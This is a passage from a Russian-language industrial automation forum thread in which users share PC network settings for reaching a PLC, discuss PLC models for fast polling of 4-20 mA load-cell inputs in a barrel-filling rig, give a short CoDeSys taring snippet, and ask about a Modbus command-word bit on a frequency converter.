Основной шлюз: 192.168.1.1 - это IP адрес роутера
Предпочитаемый DNS-сервер: 82.151.98.162
Альтернативный DNS-сервер: 82.151.98.154

Большое спасибо!

ООО "БЛС инжинеринг"
06.12.2015, 17:31
Кто посоветует?
Я хочу попробовать сделать устройство для налива в ёмкости их будет 4 шт. (бочка 200литр.) считывающих устройство будут по краям это тензодатчики 4шт. на одной платформе для поддона.
Какой мне нужен ПЛК чтоб он мог очень быстро опросить вход 4-20 мА. для считывания из тензодатчиков,?

alex55
06.12.2015, 19:45
Вариант просто ПЛК-150(правда не очень быстро). более проверено плк-100+МВ110-224-1(4)ТД,есть варианты- была такая тема по дозированию, ведь похоже этот вопрос интересует?

Сергей Мих
06.12.2015, 19:47
[QUOTE=amn;188428]Настройки протокола интернета (TCP/IP) для обеспечения одновременной работы интернета и подключения ПЛК через Езернет.

Задаем два IP адреса, для этого надо воспользоваться кнопкой "Дополнительно": первый адрес должен быть в подсети роутера, второй в подсети ПЛК.

1: 192.168.1.20 маска подсети 255.255.255.0
2: 10.0.6.47 маска подсети 255.255.255.0


2: 10.0.6.47 маска подсети должна быть как и у ПЛК- 255.255.0.0
У меня так.

ООО "БЛС инжинеринг"
07.12.2015, 19:34
Вариант просто ПЛК-150(правда не очень быстро). более проверено плк-100+МВ110-224-1(4)ТД,есть варианты- была такая тема по дозированию, ведь похоже этот вопрос интересует?

Да интересует это вопрос.
А сколько понадобится времени на опрос аналогового входа в ПЛК-150?

ООО "БЛС инжинеринг"
07.12.2015, 20:25
Кто подскажет, как можно сделать обнуление тензодатчика то есть тип "REAL" в CoDeSys V2.3 при установки разной тары для весового дозирования?

Валенок
07.12.2015, 20:45
Запомните значение на момент фиксации нуля и вычитайте его после

ООО "БЛС инжинеринг"
07.12.2015, 21:11
Запомните значение на момент фиксации нуля и вычитайте его после

Каким образом запомнить это значение?
если можно то скриншот:)

ООО "БЛС инжинеринг"
07.12.2015, 21:46
Какие скриншоты ?

было := sel(запомнить,было,значение);
запомнить := false;
внатуре := значение - было;

Спасибо уже понял, а вот вопрос по поводу ПЛК.
Какой ПЛК может обрабатывать аналоговый сигнал 4-20мА примерно 01...05 в секунду?

Валенок
07.12.2015, 23:00
2A/8A/мва8/63/73 - 0.4c на каждый ai (все без проблем, но видимо медленно для Вас)
2AC/8AC/160 - 5мс на каждый ai (но говорят 160 чудит, остальное без проблем)
150/154 - вроде не меньше 0.5с на все (уточнить). Но тут ai чудят
Если с модулем - любой плк

grenz
08.12.2015, 15:22
В управлении ПЧВ по Modbus используется командное слово. Есть в РП таблица побитовой разбивки регистров командного слова (Табл 2). Может кто-нибудь знает, для чего используется бит 10? Если знаете, то объясните пож-ста простым языком.

ASo
08.12.2015, 15:29
0 - биты управления командного слова не используются.
1 - биты управления командного слова используются.
Изменяется в т.ч. через параметры.

grenz
08.12.2015, 15:51
Т. е. это относится только к параметрам регистра 49999? Я хочу включать встроенное реле ПЧВ. Какое слово верно - 2048 или 3072?
А если мне задание частоты в регистре 50009 нужно поменять, это тоже 10м битом подтверждать нужно?